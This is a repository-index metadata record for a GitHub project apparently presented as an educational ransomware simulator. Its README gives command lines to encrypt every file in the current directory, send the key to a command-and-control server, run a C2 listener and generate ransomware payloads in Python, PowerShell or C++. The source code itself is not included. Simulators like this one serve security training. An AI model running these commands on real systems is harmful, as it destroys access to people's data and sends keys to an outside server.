{"id":21400558,"url":"https://github.com/cybersecurityup/ransimulation","last_synced_at":"2025-06-13T18:09:26.323Z","repository":{"id":261999251,"uuid":"885940349","full_name":"CyberSecurityUP/RanSimulation","owner":"CyberSecurityUP","description":"Simple Ransomware Simulator","archived":false,"fork":false,"pushed_at":"2024-11-09T19:47:39.000Z","size":15,"stargazers_count":5,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-16T01:53:37.143Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/CyberSecurityUP.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-11-09T19:45:03.000Z","updated_at":"2025-01-29T22:35:46.000Z","dependencies_parsed_at":"2024-11-09T20:30:35.353Z","dependency_job_id":"91f8ba84-3791-42ac-a1dc-9b8871a205c2","html_url":"https://github.com/CyberSecurityUP/RanSimulation","commit_stats":null,"previous_names":["cybersecurityup/ransimulation"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/CyberSecurityUP/RanSimulation","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CyberSecurityUP%2FRanSimulation","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CyberSecurityUP%2FRanSimulation/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CyberSecurityUP%2FRanSimulation/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CyberSecurityUP%2FRanSimulation/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/CyberSecurityUP","download_url":"https://codeload.github.com/CyberSecurityUP/RanSimulation/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/CyberSecurityUP%2FRanSimulation/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":259695307,"owners_count":22897514,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-11-22T15:23:01.031Z","updated_at":"2025-06-13T18:09:26.285Z","avatar_url":"https://github.com/CyberSecurityUP.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# RanSimulation\n\nThis project simulates a ransomware scenario for educational purposes. It includes file encryption, decryption, payload generation, and communication with a Command and Control (C2) server (In development).\n\n\n## **Setup**\n\n1. Clone the repository:\n   ```bash\n   git clone https://github.com/CyberSecurityUP/RanSimulation.git\n   cd RansomwareSimulator\n   ```\n\n2. Install required dependencies:\n   ```bash\n   pip install cryptography\n   ```\n\n3. Ensure Python 3.8+ is installed on your system.\n\n---\n\n## **Usage**\n\n### **1. Encrypt Files**\nEncrypt all files in the current directory and send the encryption key to the specified C2 server:\n```bash\npython3 main.py --encrypt --ip \u003cC2_IP\u003e --port \u003cC2_PORT\u003e\n```\n\nExample:\n```bash\npython3 main.py --encrypt --ip 127.0.0.1 --port 4444\n```\n\n### **2. Decrypt Files**\nDecrypt all files in the current directory using the provided encryption key:\n```bash\npython3 main.py --decrypt --key \u003cENCRYPTION_KEY\u003e\n```\n\nExample:\n```bash\npython3 main.py --decrypt --key \"YOUR_ENCRYPTION_KEY\"\n```\n\n### **3. Start a C2 Listener**\nStart a C2 listener to receive encryption keys from clients:\n```bash\npython3 main.py --listen --ip \u003cLISTEN_IP\u003e --port \u003cLISTEN_PORT\u003e\n```\n\nExample:\n```bash\npython3 main.py --listen --ip 0.0.0.0 --port 4444\n```\n\n### **4. Generate Payloads**\nGenerate a ransomware payload in Python, PowerShell, or C++:\n```bash\npython3 main.py --generate \u003cLANGUAGE\u003e --ip \u003cC2_IP\u003e --port \u003cC2_PORT\u003e\n```\n\nExample:\n```bash\npython3 main.py --generate python --ip 127.0.0.1 --port 4444\n```\n\nSupported languages:\n- `python`\n- `powershell`\n- `c++`\n\n---\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcybersecurityup%2Fransimulation","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcybersecurityup%2Fransimulation","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcybersecurityup%2Fransimulation/lists"}